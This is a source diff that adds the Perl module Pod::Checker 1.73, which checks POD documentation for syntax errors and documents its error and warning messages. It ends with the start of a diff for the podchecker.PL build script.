+# This is free software; you can redistribute it and/or modify it under the
+# same terms as Perl itself.
+#############################################################################
+
+package Pod::Checker;
+use strict;
+use warnings;
+
+our $VERSION = '1.73'; ## Current version of this package
+
+=head1 NAME
+
+Pod::Checker - check pod documents for syntax errors
+
+=head1 SYNOPSIS
+
+ use Pod::Checker;
+
+ $syntax_okay = podchecker($filepath, $outputpath, %options);
+
+ my $checker = Pod::Checker->new(%options);
+ $checker->parse_from_file($filepath, \*STDERR);
+
+=head1 OPTIONS/ARGUMENTS
+
+C<$filepath> is the input POD to read and C<$outputpath> is
+where to write POD syntax error messages. Either argument may be a scalar
+indicating a file-path, or else a reference to an open filehandle.
+If unspecified, the input-file it defaults to C<\*STDIN>, and
+the output-file defaults to C<\*STDERR>.
+
+=head2 podchecker()
+
+This function can take a hash of options:
+
+=over 4
+
+=item B<-warnings> =E<gt> I<val>
+
+Turn warnings on/off. I<val> is usually 1 for on, but higher values
+trigger additional warnings. See L<"Warnings">.
+
+=item B<-quiet> =E<gt> I<val>
+
+If C<val> is true, do not print any errors/warnings.
+
+=back
+
+=head1 DESCRIPTION
+
+B<podchecker> will perform syntax checking of Perl5 POD format documentation.
+
+Curious/ambitious users are welcome to propose additional features they wish
+to see in B<Pod::Checker> and B<podchecker> and verify that the checks are
+consistent with L<perlpod>.
+
+The following checks are currently performed:
+
+=over 4
+
+=item *
+
+Unknown '=xxxx' commands, unknown 'XE<lt>...E<gt>' interior-sequences,
+and unterminated interior sequences.
+
+=item *
+
+Check for proper balancing of C<=begin> and C<=end>. The contents of such
+a block are generally ignored, i.e. no syntax checks are performed.
+
+=item *
+
+Check for proper nesting and balancing of C<=over>, C<=item> and C<=back>.
+
+=item *
+
+Check for same nested interior-sequences (e.g.
+C<LE<lt>...LE<lt>...E<gt>...E<gt>>).
+
+=item *
+
+Check for malformed or non-existing entities C<EE<lt>...E<gt>>.
+
+=item *
+
+Check for correct syntax of hyperlinks C<LE<lt>...E<gt>>. See L<perlpod>
+for details.
+
+=item *
+
+Check for unresolved document-internal links. This check may also reveal
+misspelled links that seem to be internal links but should be links
+to something else.
+
+=back
+
+=head1 DIAGNOSTICS
+
+=head2 Errors
+
+=over 4
+
+=item * empty =headn
+
+A heading (C<=head1> or C<=head2>) without any text? That ain't no
+heading!
+
+=item * =over on line I<N> without closing =back
+
+=item * You forgot a '=back' before '=headI<N>'
+
+=item * =over is the last thing in the document?!
+
+The C<=over> command does not have a corresponding C<=back> before the
+next heading (C<=head1> or C<=head2>) or the end of the file.
+
+=item * '=item' outside of any '=over'
+
+=item * =back without =over
+
+An C<=item> or C<=back> command has been found outside a
+C<=over>/C<=back> block.
+
+=item * Can't have a 0 in =over I<N>
+
+You need to indent a strictly positive number of spaces, not 0.
+
+=item * =over should be: '=over' or '=over positive_number'
+
+Either have an argumentless =over, or have its argument a strictly positive number.
+
+=item * =begin I<TARGET> without matching =end I<TARGET>
+
+A C<=begin> command was found that has no matching =end command.
+
+=item * =begin without a target?
+
+A C<=begin> command was found that is not followed by the formatter
+specification.
+
+=item * =end I<TARGET> without matching =begin.
+
+A standalone C<=end> command was found.
+
+=item * '=end' without a target?
+
+'=end' directives need to have a target, just like =begin directives.
+
+=item * '=end I<TARGET>' is invalid.
+
+I<TARGET> needs to be one word
+
+=item * =end I<CONTENT> doesn't match =begin I<TARGET>
+
+I<CONTENT> needs to match =begin's I<TARGET>.
+
+=item * =for without a target?
+
+There is no specification of the formatter after the C<=for> command.
+
+=item * unresolved internal link I<NAME>
+
+The given link to I<NAME> does not have a matching node in the current
+POD. This also happened when a single word node name is not enclosed in
+C<"">.
+
+=item * Unknown directive: I<CMD>
+
+An invalid POD command has been found. Valid are C<=head1>, C<=head2>,
+C<=head3>, C<=head4>, C<=over>, C<=item>, C<=back>, C<=begin>, C<=end>,
+C<=for>, C<=pod>, C<=cut>
+
+=item * Deleting unknown formatting code I<SEQ>
+
+An invalid markup command has been encountered. Valid are:
+C<BE<lt>E<gt>>, C<CE<lt>E<gt>>, C<EE<lt>E<gt>>, C<FE<lt>E<gt>>,
+C<IE<lt>E<gt>>, C<LE<lt>E<gt>>, C<SE<lt>E<gt>>, C<XE<lt>E<gt>>,
+C<ZE<lt>E<gt>>
+
+=item * Unterminated I<SEQ>E<lt>E<gt> sequence
+
+An unclosed formatting code
+
+=item * An EE<lt>...E<gt> surrounding strange content
+
+The I<STRING> found cannot be interpreted as a character entity.
+
+=item * An empty EE<lt>E<gt>
+
+=item * An empty C<< LE<lt>E<gt> >>
+
+=item * An empty XE<lt>E<gt>
+
+There needs to be content inside E, L, and X formatting codes.
+
+=item * A non-empty ZE<lt>E<gt>
+
+The C<ZE<lt>E<gt>> sequence is supposed to be empty.
+
+=item * Spurious text after =pod / =cut
+
+The commands C<=pod> and C<=cut> do not take any arguments.
+
+=item * =back doesn't take any parameters, but you said =back I<ARGUMENT>
+
+The C<=back> command does not take any arguments.
+
+=item * =pod directives shouldn't be over one line long! Ignoring all I<N> lines of content
+
+Self explanatory
+
+=item * =cut found outside a pod block.
+
+A '=cut' directive found in the middle of non-POD
+
+=item * Invalid =encoding syntax: I<CONTENT>
+
+Syntax error in =encoding directive
+
+=back
+
+=head2 Warnings
+
+These may not necessarily cause trouble, but indicate mediocre style.
+
+=over 4
+
+=item * nested commands I<CMD>E<lt>...I<CMD>E<lt>...E<gt>...E<gt>
+
+Two nested identical markup commands have been found. Generally this
+does not make sense.
+
+=item * multiple occurrences (I<N>) of link target I<name>
+
+The POD file has some C<=item> and/or C<=head> commands that have
+the same text. Potential hyperlinks to such a text cannot be unique then.
+This warning is printed only with warning level greater than one.
+
+=item * line containing nothing but whitespace in paragraph
+
+There is some whitespace on a seemingly empty line. POD is very sensitive
+to such things, so this is flagged. B<vi> users switch on the B<list>
+option to avoid this problem.
+
+=item * =item has no contents
+
+There is a list C<=item> that has no text contents. You probably want to delete
+empty items.
+
+=item * You can't have =items (as at line I<N>) unless the first thing after the =over is an =item
+
+A list introduced by C<=over> starts with a text or verbatim paragraph,
+but continues with C<=item>s. Move the non-item paragraph out of the
+C<=over>/C<=back> block.
+
+=item * Expected '=item I<EXPECTED VALUE>'
+
+=item * Expected '=item *'
+
+=item * Possible =item type mismatch: 'I<x>' found leading a supposed definition =item
+
+A list started with e.g. a bullet-like C<=item> and continued with a
+numbered one. This is obviously inconsistent. For most translators the
+type of the I<first> C<=item> determines the type of the list.
+
+=item * You have '=item x' instead of the expected '=item I<N>'
+
+Erroneous numbering of =item numbers; they need to ascend consecutively.
+
+=item * Unknown E content in EE<lt>I<CONTENT>E<gt>
+
+A character entity was found that does not belong to the standard
+ISO set or the POD specials C<verbar> and C<sol>. I<Currently, this warning
+only appears if a character entity was found that does not have a Unicode
+character. This should be fixed to adhere to the original warning.>
+
+=item * empty =over/=back block
+
+The list opened with C<=over> does not contain anything.
+
+=item * empty section in previous paragraph
+
+The previous section (introduced by a C<=head> command) does not contain
+any valid content. This usually indicates that something is missing. Note: A
+C<=head1> followed immediately by C<=head2> does not trigger this warning.
+
+=item * Verbatim paragraph in NAME section
+
+The NAME section (C<=head1 NAME>) should consist of a single paragraph
+with the script/module name, followed by a dash `-' and a very short
+description of what the thing is good for.
+
+=item * =headI<n> without preceding higher level
+
+For example if there is a C<=head2> in the POD file prior to a
+C<=head1>.
+
+=back
+
+=head2 Hyperlinks
+
+There are some warnings with respect to malformed hyperlinks:
+
+=over 4
+
+=item * ignoring leading/trailing whitespace in link
+
+There is whitespace at the beginning or the end of the contents of
+LE<lt>...E<gt>.
+
+=item * alternative text/node '%s' contains non-escaped | or /
+
+The characters C<|> and C</> are special in the LE<lt>...E<gt> context.
+Although the hyperlink parser does its best to determine which "/" is
+text and which is a delimiter in case of doubt, one ought to escape
+these literal characters like this:
+
+ / E<sol>
+ | E<verbar>
+
+=back
+
+Note that the line number of the error/warning may refer to the line number of
+the start of the paragraph in which the error/warning exists, not the line
+number that the error/warning is on. This bug is present in errors/warnings
+related to formatting codes. I<This should be fixed.>
+
+=head1 RETURN VALUE
+
+B<podchecker> returns the number of POD syntax errors found or -1 if
+there were no POD commands at all found in the file.
+
+=head1 EXAMPLES
+
+See L</SYNOPSIS>
+
+=head1 SCRIPTS
+
+The B<podchecker> script that comes with this distribution is a lean wrapper
+around this module. See the online manual with
+
+ podchecker -help
+ podchecker -man
+
+=head1 INTERFACE
+
+While checking, this module collects document properties, e.g. the nodes
+for hyperlinks (C<=headX>, C<=item>) and index entries (C<XE<lt>E<gt>>).
+POD translators can use this feature to syntax-check and get the nodes in
+a first pass before actually starting to convert. This is expensive in terms
+of execution time, but allows for very robust conversions.
+
+Since v1.24 the B<Pod::Checker> module uses only the B<poderror>
+method to print errors and warnings. The summary output (e.g.
+"Pod syntax OK") has been dropped from the module and has been included in
+B<podchecker> (the script). This allows users of B<Pod::Checker> to
+control completely the output behavior. Users of B<podchecker> (the script)
+get the well-known behavior.
+
+v1.45 inherits from Pod::Simple as opposed to all previous versions
+inheriting from Pod::Parser. Do B<not> use Pod::Simple's interface when
+using Pod::Checker unless it is documented somewhere on this page. I
+repeat, DO B<NOT> USE POD::SIMPLE'S INTERFACE.
+
+=cut
+
+#############################################################################
+
+#use diagnostics;
+use Carp qw(croak);
+use Exporter 'import';
+use base qw/Pod::Simple::Methody/;
+
+our @EXPORT = qw(&podchecker);
+
+##---------------------------------
+## Function definitions begin here
+##---------------------------------
+
+sub podchecker {
+ my ($infile, $outfile, %options) = @_;
+ local $_;
+
+ ## Set defaults
+ $infile ||= \*STDIN;
+ $outfile ||= \*STDERR;
+
+ ## Now create a pod checker
+ my $checker = Pod::Checker->new(%options);
+
+ ## Now check the pod document for errors
+ $checker->parse_from_file($infile, $outfile);
+
+ ## Return the number of errors found
+ return $checker->num_errors();
+}
+
+
+##---------------------------------------------------------------------------
+
+##-------------------------------
+## Method definitions begin here
+##-------------------------------
+
+##################################
+
+=over 4
+
+=item C<Pod::Checker-E<gt>new( %options )>
+
+Return a reference to a new Pod::Checker object that inherits from
+Pod::Simple and is used for calling the required methods later. The
+following options are recognized:
+
+C<-warnings =E<gt> num>
+ Print warnings if C<num> is true. The higher the value of C<num>,
+the more warnings are printed. Currently there are only levels 1 and 2.
+
+C<-quiet =E<gt> num>
+ If C<num> is true, do not print any errors/warnings. This is useful
+when Pod::Checker is used to munge POD code into plain text from within
+POD formatters.
+
+=cut
+
+sub new {
+ my $new = shift->SUPER::new(@_);
+ $new->{'output_fh'} ||= *STDERR{IO};
+
+ # Set options
+ my %opts = @_;
+ $new->{'-warnings'} = defined $opts{'-warnings'} ?
+ $opts{'-warnings'} : 1; # default on
+ $new->{'-quiet'} = $opts{'-quiet'} || 0; # default off
+
+ # Initialize number of errors/warnings
+ $new->{'_NUM_ERRORS'} = 0;
+ $new->{'_NUM_WARNINGS'} = 0;
+
+ # 'current' also means 'most recent' in the follow comments
+ $new->{'_thispara'} = ''; # current POD paragraph
+ $new->{'_line'} = 0; # current line number
+ $new->{'_head_num'} = 0; # current =head level (set to 0 to make
+ # logic easier down the road)
+ $new->{'_cmds_since_head'} = 0; # num of POD directives since prev. =headN
+ $new->{'_nodes'} = []; # stack for =head/=item nodes
+ $new->{'_fcode_stack'} = []; # stack for nested formatting codes
+ $new->{'_fcode_pos'} = []; # stack for position in paragraph of fcodes
+ $new->{'_begin_stack'} = []; # stack for =begins: [line #, target]
+ $new->{'_links'} = []; # stack for hyperlinks to external entities
+ $new->{'_internal_links'} = []; # set of linked-to internal sections
+ $new->{'_index'} = []; # stack for text in X<>s
+
+ $new->accept_targets('*'); # check all =begin/=for blocks
+ $new->cut_handler( \&handle_pod_and_cut ); # warn if text after =cut
+ $new->pod_handler( \&handle_pod_and_cut ); # warn if text after =pod
+ $new->whiteline_handler( \&handle_whiteline ); # warn if whiteline
+ $new->parse_empty_lists(1); # warn if they are empty
+
+ return $new;
+}
+
+##################################
+
+=item C<$checker-E<gt>poderror( @args )>
+
+=item C<$checker-E<gt>poderror( {%opts}, @args )>
+
+Internal method for printing errors and warnings. If no options are given,
+simply prints "@_". The following options are recognized and used to form
+the output:
+
+ -msg
+
+A message to print prior to C<@args>.
+
+ -line
+
+The line number the error occurred in.
+
+ -file
+
+The file (name) the error occurred in. Defaults to the name of the current
+file being processed.
+
+ -severity
+
+The error level, should be 'WARNING' or 'ERROR'.
+
+=cut
+
+# Invoked as $self->poderror( @args ), or $self->poderror( {%opts}, @args )
+sub poderror {
+ my $self = shift;
+ my %opts = (ref $_[0]) ? %{shift()} : ();
+
+ ## Retrieve options
+ chomp( my $msg = ($opts{'-msg'} || '')."@_" );
+ my $line = (exists $opts{'-line'}) ? " at line $opts{'-line'}" : '';
+ my $file = ' in file ' . ((exists $opts{'-file'})
+ ? $opts{'-file'}
+ : ((defined $self->source_filename)
+ ? $self->source_filename
+ : "???"));
+ unless (exists $opts{'-severity'}) {
+ ## See if can find severity in message prefix
+ $opts{'-severity'} = $1 if ( $msg =~ s/^\**\s*([A-Z]{3,}):\s+// );
+ }
+ my $severity = (exists $opts{'-severity'}) ? "*** $opts{-severity}: " : '';
+
+ ## Increment error count and print message "
+ ++($self->{'_NUM_ERRORS'})
+ if(!%opts || ($opts{-severity} && $opts{'-severity'} eq 'ERROR'));
+ ++($self->{'_NUM_WARNINGS'})
+ if(!%opts || ($opts{-severity} && $opts{'-severity'} eq 'WARNING'));
+ unless($self->{'-quiet'}) {
+ my $out_fh = $self->{'output_fh'} || \*STDERR;
+ print $out_fh ($severity, $msg, $line, $file, "\n")
+ if($self->{'-warnings'} || !%opts || $opts{'-severity'} ne 'WARNING');
+ }
+}
+
+##################################
+
+=item C<$checker-E<gt>num_errors()>
+
+Set (if argument specified) and retrieve the number of errors found.
+
+=cut
+
+sub num_errors {
+ return (@_ > 1) ? ($_[0]->{'_NUM_ERRORS'} = $_[1]) : $_[0]->{'_NUM_ERRORS'};
+}
+
+##################################
+
+=item C<$checker-E<gt>num_warnings()>
+
+Set (if argument specified) and retrieve the number of warnings found.
+
+=cut
+
+sub num_warnings {
+ return (@_ > 1) ? ($_[0]->{'_NUM_WARNINGS'} = $_[1]) :
+ $_[0]->{'_NUM_WARNINGS'};
+}
+
+##################################
+
+=item C<$checker-E<gt>name()>
+
+Set (if argument specified) and retrieve the canonical name of POD as
+found in the C<=head1 NAME> section.
+
+=cut
+
+sub name {
+ return (@_ > 1 && $_[1]) ?
+ ($_[0]->{'_pod_name'} = $_[1]) : $_[0]->{'_pod_name'};
+}
+
+##################################
+
+=item C<$checker-E<gt>node()>
+
+Add (if argument specified) and retrieve the nodes (as defined by C<=headX>
+and C<=item>) of the current POD. The nodes are returned in the order of
+their occurrence. They consist of plain text, each piece of whitespace is
+collapsed to a single blank.
+
+=cut
+
+sub node {
+ my ($self,$text) = @_;
+ if(defined $text) {
+ $text =~ s/\s+$//s; # strip trailing whitespace
+ $text =~ s/\s+/ /gs; # collapse whitespace
+ # add node, order important!
+ push(@{$self->{'_nodes'}}, $text);
+ # keep also a uniqueness counter
+ $self->{'_unique_nodes'}->{$text}++ if($text !~ /^\s*$/s);
+ return $text;
+ }
+ @{$self->{'_nodes'}};
+}
+
+##################################
+
+=item C<$checker-E<gt>idx()>
+
+Add (if argument specified) and retrieve the index entries (as defined by
+C<XE<lt>E<gt>>) of the current POD. They consist of plain text, each piece
+of whitespace is collapsed to a single blank.
+
+=cut
+
+# set/return index entries of current POD
+sub idx {
+ my ($self,$text) = @_;
+ if(defined $text) {
+ $text =~ s/\s+$//s; # strip trailing whitespace
+ $text =~ s/\s+/ /gs; # collapse whitespace
+ # add node, order important!
+ push(@{$self->{'_index'}}, $text);
+ # keep also a uniqueness counter
+ $self->{'_unique_nodes'}->{$text}++ if($text !~ /^\s*$/s);
+ return $text;
+ }
+ @{$self->{'_index'}};
+}
+
+##################################
+
+# add a hyperlink to the list of those of the current POD; returns current
+# list after the addition has been done
+sub hyperlink {
+ my $self = shift;
+ push(@{$self->{'_links'}}, $_[0]);
+ return $_[0];
+}
+
+=item C<$checker-E<gt>hyperlinks()>
+
+Retrieve an array containing the hyperlinks to things outside
+the current POD (as defined by C<LE<lt>E<gt>>).
+
+Each is an instance of a class with the following methods:
+
+=cut
+
+sub hyperlinks {
+ @{shift->{'_links'}};
+}
+
+##################################
+
+# override Pod::Simple's whine() and scream() to use poderror()
+
+# Note:
+# Ignore $self->{'no_whining'} b/c $self->{'quiet'} takes care of it in poderror
+# Don't bother incrementing $self->{'errors_seen'} -- it's not used
+# Don't bother pushing to $self->{'errata'} b/c poderror() outputs immediately
+# We don't need to set $self->no_errata_section(1) b/c of these overrides
+
+
+sub whine {
+ my ($self, $line, $complaint) = @_;
+
+ my $severity = 'ERROR';
+
+ if (0) {
+ # XXX: Let's standardize what's a warning and what's an error. Let's not
+ # move stuff up and down the severity tree. -- rjbs, 2013-04-12
+ # Convert errors in Pod::Simple that are warnings in Pod::Checker
+ # XXX Do differently so the $complaint can be reworded without this breaking
+ $severity = 'WARNING' if
+ $complaint =~ /^Expected '=item .+?'$/ ||
+ $complaint =~ /^You can't have =items \(as at line .+?\) unless the first thing after the =over is an =item$/ ||
+ $complaint =~ /^You have '=item .+?' instead of the expected '=item .+?'$/;
+ }
+
+ $self->poderror({ -line => $line,
+ -severity => $severity,
+ -msg => $complaint });
+
+ return 1; # assume everything is peachy keen
+}
+
+sub scream {
+ my ($self, $line, $complaint) = @_;
+
+ $self->poderror({ -line => $line,
+ -severity => 'ERROR', # consider making severity 'FATAL'
+ -msg => $complaint });
+
+ return 1;
+}
+
+
+##################################
+
+# Some helper subroutines
+
+sub _init_event { # assignments done at the start of most events
+ $_[0]{'_thispara'} = '';
+ $_[0]{'_line'} = $_[1]{'start_line'};
+ $_[0]{'_cmds_since_head'}++;
+}
+
+sub _check_fcode {
+ my ($self, $inner, $outers) = @_;
+ # Check for an fcode inside another of the same fcode
+ # XXX line number is the line of the start of the paragraph that the warning
+ # is in, not the line that the warning is on. Fix this
+
+ # Later versions of Pod::Simple forbid nested L<>'s
+ return if $inner eq 'L' && $Pod::Simple::VERSION ge '3.33';
+
+ if (grep { $_ eq $inner } @$outers) {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => "nested commands $inner<...$inner<...>...>"});
+ }
+}
+
+##################################
+
+sub handle_text { $_[0]{'_thispara'} .= $_[1] }
+
+# whiteline is a seemingly blank line that matches /[^\S\r\n]/
+sub handle_whiteline {
+ my ($line, $line_n, $self) = @_;
+ $self->poderror({
+ -line => $line_n,
+ -severity => 'WARNING',
+ -msg => 'line containing nothing but whitespace in paragraph'});
+}
+
+######## Directives
+sub handle_pod_and_cut {
+ my ($line, $line_n, $self) = @_;
+ $self->{'_cmds_since_head'}++;
+ if ($line =~ /=(pod|cut)\s+\S/) {
+ $self->poderror({ -line => $line_n,
+ -severity => 'ERROR',
+ -msg => "Spurious text after =$1"});
+ }
+}
+
+sub start_Para { shift->_init_event(@_); }
+sub end_Para {
+ my $self = shift;
+ # Get the NAME of the pod document
+ if ($self->{'_head_num'} == 1 && $self->{'_head_text'} eq 'NAME') {
+ if ($self->{'_thispara'} =~ /^\s*(\S+?)\s*[,-]/) {
+ $self->{'_pod_name'} = $1 unless defined $self->{'_pod_name'};
+ }
+ }
+}
+
+sub start_Verbatim {
+ my $self = shift;
+ $self->_init_event(@_);
+
+ if ($self->{'_head_num'} == 1 && $self->{'_head_text'} eq 'NAME') {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => 'Verbatim paragraph in NAME section' });
+ }
+}
+# Don't need an end_Verbatim
+
+# Do I need to do anything else with this?
+sub start_Data { shift->_init_event() }
+
+sub start_head1 { shift->start_head(1, @_) }
+sub start_head2 { shift->start_head(2, @_) }
+sub start_head3 { shift->start_head(3, @_) }
+sub start_head4 { shift->start_head(4, @_) }
+sub start_head {
+ my $self = shift;
+ my $h = shift;
+ $self->_init_event(@_);
+ my $prev_h = $self->{'_head_num'};
+ $self->{'_head_num'} = $h;
+ $self->{"_count_head$h"}++;
+
+ if ($h > 1 && !$self->{'_count_head'.($h-1)}) {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => "=head$h without preceding higher level"});
+ }
+
+ # If this is the first =head of the doc, $prev_h is 0, thus less than $h
+ if ($self->{'_cmds_since_head'} == 1 && $prev_h >= $h) {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => 'empty section in previous paragraph'});
+ }
+}
+
+sub end_head1 { shift->end_head(@_) }
+sub end_head2 { shift->end_head(@_) }
+sub end_head3 { shift->end_head(@_) }
+sub end_head4 { shift->end_head(@_) }
+sub end_head {
+ my $self = shift;
+ my $arg = $self->{'_thispara'};
+ $arg =~ s/\s+$//;
+ $self->{'_head_text'} = $arg;
+ $self->{'_cmds_since_head'} = 0;
+ my $h = $self->{'_head_num'};
+ $self->node($arg); # remember this node
+ if ($arg eq '') {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'ERROR',
+ -msg => "empty =head$h" });
+ }
+}
+
+sub start_over_bullet { shift->start_over(@_, 'bullet') }
+sub start_over_number { shift->start_over(@_, 'number') }
+sub start_over_text { shift->start_over(@_, 'definition') }
+sub start_over_block { shift->start_over(@_, 'block') }
+sub start_over_empty {
+ my $self = shift;
+ $self->start_over(@_, 'empty');
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => 'empty =over/=back block' });
+}
+sub start_over {
+ my $self = shift;
+ my $type = pop;
+ $self->_init_event(@_);
+}
+
+sub start_item_bullet { shift->_init_event(@_) }
+sub start_item_number { shift->_init_event(@_) }
+sub start_item_text { shift->_init_event(@_) }
+sub end_item_bullet { shift->end_item('bullet') }
+sub end_item_number { shift->end_item('number') }
+sub end_item_text { shift->end_item('definition') }
+sub end_item {
+ my $self = shift;
+ my $type = shift;
+ # If there is verbatim text in this item, it will show up as part of
+ # 'paras', and not part of '_thispara'. If the first para after this is a
+ # verbatim one, it actually will be (part of) the contents for this item.
+ if ( $self->{'_thispara'} eq ''
+ && ( ! @{$self->{'paras'}}
+ || $self->{'paras'}[0][0] !~ /Verbatim/i))
+ {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'WARNING',
+ -msg => '=item has no contents' });
+ }
+
+ $self->node($self->{'_thispara'}); # remember this node
+}
+
+sub start_for { # =for and =begin directives
+ my ($self, $flags) = @_;
+ $self->_init_event($flags);
+ push @{$self->{'_begin_stack'}}, [$self->{'_line'}, $flags->{'target'}];
+}
+
+sub end_for {
+ my ($self, $flags) = @_;
+ my ($line, $target) = @{pop @{$self->{'_begin_stack'}}};
+ if ($flags->{'fake-closer'}) { # meaning Pod::Simple generated this =end
+ $self->poderror({ -line => $line,
+ -severity => 'ERROR',
+ -msg => "=begin $target without matching =end $target"
+ });
+ }
+}
+
+sub end_Document {
+ # Some final error checks
+ my $self = shift;
+
+ # no POD found here
+ $self->num_errors(-1) && return unless $self->content_seen;
+
+ my %nodes;
+ for ($self->node()) {
+ $nodes{$_} = 1;
+ if(/^(\S+)\s+\S/) {
+ # we have more than one word. Use the first as a node, too.
+ # This is used heavily in perlfunc.pod
+ $nodes{$1} ||= 2; # derived node
+ }
+ }
+ for ($self->idx()) {
+ $nodes{$_} = 3; # index node
+ }
+
+ # XXX update unresolved internal link POD -- single word not enclosed in ""?
+ # I don't know what I was thinking when I made the above TODO, and I don't
+ # know what it means...
+
+ for my $link (@{ $self->{'_internal_links'} }) {
+ my ($name, $line) = @$link;
+ unless ( $nodes{$name} ) {
+ $self->poderror({ -line => $line,
+ -severity => 'ERROR',
+ -msg => "unresolved internal link '$name'"});
+ }
+ }
+
+ # check the internal nodes for uniqueness. This pertains to
+ # =headX, =item and X<...>
+ if ($self->{'-warnings'} > 1 ) {
+ for my $node (sort keys %{ $self->{'_unique_nodes'} }) {
+ my $count = $self->{'_unique_nodes'}{$node};
+ if ($count > 1) { # not unique
+ $self->poderror({
+ -line => '-',
+ -severity => 'WARNING',
+ -msg => "multiple occurrences ($count) of link target ".
+ "'$node'"});
+ }
+ }
+ }
+}
+
+######## Formatting codes
+
+sub start_B { shift->start_fcode('B') }
+sub start_C { shift->start_fcode('C') }
+sub start_F { shift->start_fcode('F') }
+sub start_I { shift->start_fcode('I') }
+sub start_S { shift->start_fcode('S') }
+sub start_fcode {
+ my ($self, $fcode) = @_;
+ unshift @{$self->{'_fcode_stack'}}, $fcode;
+}
+
+sub end_B { shift->end_fcode() }
+sub end_C { shift->end_fcode() }
+sub end_F { shift->end_fcode() }
+sub end_I { shift->end_fcode() }
+sub end_S { shift->end_fcode() }
+sub end_fcode {
+ my $self = shift;
+ $self->_check_fcode(shift @{$self->{'_fcode_stack'}}, # current fcode removed
+ $self->{'_fcode_stack'}); # previous fcodes
+}
+
+sub start_L {
+ my ($self, $flags) = @_;
+ $self->start_fcode('L');
+
+ my $link = Pod::Checker::Hyperlink->new($flags, $self);
+ if ($link) {
+ if ( $link->type eq 'pod'
+ && $link->node
+ # It's an internal-to-this-page link if no page is given, or
+ # if the given one is to our NAME.
+ && (! $link->page || ( $self->{'_pod_name'}
+ && $link->page eq $self->{'_pod_name'})))
+ {
+ push @{ $self->{'_internal_links'} }, [ $link->{'-raw_node'}, $link->line ];
+ }
+ else {
+ $self->hyperlink($link);
+ }
+ }
+}
+
+sub end_L {
+ my $self = shift;
+ $self->end_fcode();
+}
+
+sub start_X {
+ my $self = shift;
+ $self->start_fcode('X');
+ # keep track of where X<> starts in the paragraph
+ # (this is a stack so nested X<>s are handled correctly)
+ push @{$self->{'_fcode_pos'}}, length $self->{'_thispara'};
+}
+sub end_X {
+ my $self = shift;
+ # extract contents of X<> and replace with ''
+ my $start = pop @{$self->{'_fcode_pos'}}; # start at the beginning of X<>
+ my $end = length($self->{'_thispara'}) - $start; # end at end of X<>
+ my $x = substr($self->{'_thispara'}, $start, $end, '');
+ if ($x eq "") {
+ $self->poderror({ -line => $self->{'_line'},
+ -severity => 'ERROR',
+ -msg => "An empty X<>" });
+ }
+ $self->idx($x); # remember this node
+ $self->end_fcode();
+}
+
+package Pod::Checker::Hyperlink;
+
+# This class is used to represent L<> link structures, so that the individual
+# elements are easily accessible. It is based on code in Pod::Hyperlink
+
+sub new {
+ my ($class,
+ $simple_link, # The link structure returned by Pod::Simple
+ $caller # The caller class
+ ) = @_;
+
+ my $self = +{};
+ bless $self, $class;
+
+ $self->{'-line'} ||= $caller->{'_line'};
+ $self->{'-type'} ||= $simple_link->{'type'};
+
+ # Force stringification of page and node. (This expands any E<>.)
+ $self->{'-page'} = exists $simple_link->{'to'} ? "$simple_link->{'to'}" : "";
+ $self->{'-node'} = exists $simple_link->{'section'} ? "$simple_link->{'section'}" : "";
+
+ # Save the unmodified node text, as the .t files are expecting the message
+ # for internal link failures to include it (hence this preserves backward
+ # compatibility).
+ $self->{'-raw_node'} = $self->{'-node'};
+
+ # Remove leading/trailing white space. Pod::Simple already warns about
+ # these, so if the only error is this, and the link is otherwise correct,
+ # only the Pod::Simple warning will be output, avoiding unnecessary
+ # confusion.
+ $self->{'-page'} =~ s/ ^ \s+ //x;
+ $self->{'-page'} =~ s/ \s+ $ //x;
+
+ $self->{'-node'} =~ s/ ^ \s+ //x;
+ $self->{'-node'} =~ s/ \s+ $ //x;
+
+ # Pod::Simple warns about L<> and L< >, but not L</>
+ if ($self->{'-page'} eq "" && $self->{'-node'} eq "") {
+ $caller->poderror({ -line => $caller->{'_line'},
+ -severity => 'WARNING',
+ -msg => 'empty link'});
+ return;
+ }
+
+ return $self;
+}
+
+=item line()
+
+Returns the approximate line number in which the link was encountered
+
+=cut
+
+sub line {
+ return $_[0]->{-line};
+}
+
+=item type()
+
+Returns the type of the link; one of:
+C<"url"> for things like
+C<http://www.foo>, C<"man"> for man pages, or C<"pod">.
+
+=cut
+
+sub type {
+ return $_[0]->{-type};
+}
+
+=item page()
+
+Returns the linked-to page or url.
+
+=cut
+
+sub page {
+ return $_[0]->{-page};
+}
+
+=item node()
+
+Returns the anchor or node within the linked-to page, or an empty string
+(C<"">) if none appears in the link.
+
+=back
+
+=cut
+
+sub node {
+ return $_[0]->{-node};
+}
+
+=head1 AUTHOR
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Brad Appleton E<lt>bradapp@enteract.comE<gt> (initial version),
+Marek Rouchal E<lt>marekr@cpan.orgE<gt>,
+Marc Green E<lt>marcgreen@cpan.orgE<gt> (port to Pod::Simple)
+Ricardo Signes E<lt>rjbs@cpan.orgE<gt> (more porting to Pod::Simple)
+Karl Williamson E<lt>khw@cpan.orgE<gt> (more porting to Pod::Simple)
+
+Based on code for B<Pod::Text::pod2text()> written by
+Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
+
+=cut
+
+1
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/scripts/podchecker.PL b/gnu/usr.bin/perl/cpan/Pod-Checker/scripts/podchecker.PL
index 2c33e8caadb..44bcfc5c0a2 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/scripts/podchecker.PL
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/scripts/podchecker.PL
@@ -1,186 +1,185 @@
-#!/usr/local/bin/perl
-
-use Config;
-use File::Basename qw(&basename &dirname);
-use Cwd;
-
-# List explicitly here the variables you want Configure to
-# generate. Metaconfig only looks for shell variables, so you
-# have to mention them as if they were shell variables, not
-# %Config entries. Thus you write
-# $startperl
-# to ensure Configure will look for $Config{startperl}.
-
-# This forces PL files to create target in same directory as PL file.
-# This is so that make depend always knows where to find PL derivatives.
-$origdir = cwd;
-chdir(dirname($0));
-($file = basename($0)) =~ s/\.PL$//;
-$file =~ s/\.pl$//
